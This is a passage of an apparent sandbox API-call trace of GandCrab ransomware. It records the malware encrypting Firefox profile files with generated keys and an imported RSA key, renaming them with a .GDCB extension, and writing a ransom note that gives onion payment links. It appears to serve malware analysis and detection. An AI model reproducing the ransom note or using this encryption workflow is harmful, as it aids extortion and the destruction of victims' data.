GetLastError () returned 0x0 [0055.198] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0055.198] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-plugins.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.198] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.198] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.198] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x312c0, lpOverlapped=0x0) returned 1 [0055.203] VirtualAlloc (lpAddress=0x0, dwSize=0x312c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.205] VirtualAlloc (lpAddress=0x0, dwSize=0x312c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29f0000 [0055.207] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.208] SetFilePointer (in: hFile=0x504, lDistanceToMove=-201408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.208] WriteFile (in: hFile=0x504, lpBuffer=0x29f0000*, nNumberOfBytesToWrite=0x312c0, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29f0000*, lpNumberOfBytesWritten=0x285e820*=0x312c0, lpOverlapped=0x0) returned 1 [0055.208] VirtualFree (lpAddress=0x29f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.209] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.212] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.212] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.212] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.212] CloseHandle (hObject=0x504) returned 1 [0055.214] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.215] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.215] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.215] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-plugins.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-plugins.json.gdcb")) returned 1 [0055.215] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.216] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.216] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.216] lstrcmpW (lpString1="blocklist.xml", lpString2=".") returned 1 [0055.216] lstrcmpW (lpString1="blocklist.xml", lpString2="..") returned 1 [0055.216] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="blocklist.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml" [0055.216] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.216] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned 93 [0055.216] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned 93 [0055.216] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned 93 [0055.216] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned 93 [0055.216] lstrcmpiW (lpString1="blocklist.xml", lpString2="desktop.ini") returned -1 [0055.216] lstrcmpiW (lpString1="blocklist.xml", lpString2="autorun.inf") returned 1 [0055.216] lstrcmpiW (lpString1="blocklist.xml", lpString2="ntuser.dat") returned -1 [0055.216] lstrcmpiW (lpString1="blocklist.xml", lpString2="iconcache.db") returned -1 [0055.216] lstrcmpiW (lpString1="blocklist.xml", lpString2="bootsect.bak") returned -1 [0055.216] lstrcmpiW (lpString1="blocklist.xml", lpString2="boot.ini") returned -1 [0055.216] lstrcmpiW (lpString1="blocklist.xml", lpString2="ntuser.dat.log") returned -1 [0055.216] lstrcmpiW (lpString1="blocklist.xml", lpString2="thumbs.db") returned -1 [0055.216] lstrcmpiW (lpString1="blocklist.xml", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.216] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist.xml")) returned 0x20 [0055.217] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml", dwFileAttributes=0x20) returned 1 [0055.217] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.217] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml" [0055.217] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml.GDCB" [0055.217] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.218] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.218] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.218] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.218] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.218] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.218] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.218] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58ff08) returned 1 [0055.218] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.219] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.219] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.219] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.219] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.219] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.219] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.219] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.219] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff08) returned 1 [0055.221] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b81b0) returned 1 [0055.221] CryptGetKeyParam (in: hKey=0x5b81b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.221] CryptEncrypt (in: hKey=0x5b81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.222] GetLastError () returned 0x0 [0055.222] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.222] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff90) returned 1 [0055.223] CryptImportKey (in: hProv=0x58ff90, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b7e70) returned 1 [0055.223] CryptGetKeyParam (in: hKey=0x5b7e70, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.223] CryptEncrypt (in: hKey=0x5b7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.224] GetLastError () returned 0x0 [0055.224] CryptReleaseContext (hProv=0x58ff90, dwFlags=0x0) returned 1 [0055.224] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.224] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.224] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.224] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x3ef9f, lpOverlapped=0x0) returned 1 [0055.230] VirtualAlloc (lpAddress=0x0, dwSize=0x3efa0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.232] VirtualAlloc (lpAddress=0x0, dwSize=0x3efa0, flAllocationType=0x3000, flProtect=0x4) returned 0x29f0000 [0055.235] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.235] SetFilePointer (in: hFile=0x504, lDistanceToMove=-257951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.235] WriteFile (in: hFile=0x504, lpBuffer=0x29f0000*, nNumberOfBytesToWrite=0x3efa0, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29f0000*, lpNumberOfBytesWritten=0x285e820*=0x3efa0, lpOverlapped=0x0) returned 1 [0055.236] VirtualFree (lpAddress=0x29f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.237] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.239] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.239] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.239] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.239] CloseHandle (hObject=0x504) returned 1 [0055.242] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.243] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.243] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.243] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist.xml"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist.xml.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist.xml.gdcb")) returned 1 [0055.243] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.244] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.244] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.244] lstrcmpW (lpString1="bookmarkbackups", lpString2=".") returned 1 [0055.244] lstrcmpW (lpString1="bookmarkbackups", lpString2="..") returned 1 [0055.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups" [0055.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\" [0055.244] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.244] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.244] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.244] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.244] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.244] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.244] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\") returned 96 [0055.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\*" [0055.244] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b7db0 [0055.245] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.245] FindNextFileW (in: hFindFile=0x5b7db0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.245] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.245] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.245] FindNextFileW (in: hFindFile=0x5b7db0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.245] lstrcmpW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2=".") returned 1 [0055.245] lstrcmpW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2="..") returned 1 [0055.245] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\", lpString2="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4" [0055.245] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4") returned 152 [0055.245] lstrcmpW (lpString1=".jsonlz4", lpString2=".sql") returned -1 [0055.245] FindNextFileW (in: hFindFile=0x5b7db0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0055.245] FindClose (in: hFindFile=0x5b7db0 | out: hFindFile=0x5b7db0) returned 1 [0055.245] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.245] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\\\GDCB-DECRYPT.txt") returned 113 [0055.245] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\bookmarkbackups\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.246] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.246] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0055.246] CloseHandle (hObject=0x504) returned 1 [0055.246] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.246] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\") returned 96 [0055.246] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\*" [0055.247] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b81f0 [0055.247] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.247] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.247] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.247] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.247] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.247] lstrcmpW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2=".") returned 1 [0055.247] lstrcmpW (lpString1="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", lpString2="..") returned 1 [0055.247] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\", lpString2="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4" [0055.247] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.247] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4") returned 152 [0055.247] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4") returned 152 [0055.247] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.247] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.247] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.247] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.247] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\GDCB-DECRYPT.txt" [0055.247] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.247] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\GDCB-DECRYPT.txt") returned 112 [0055.247] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\GDCB-DECRYPT.txt") returned 112 [0055.247] lstrlenW 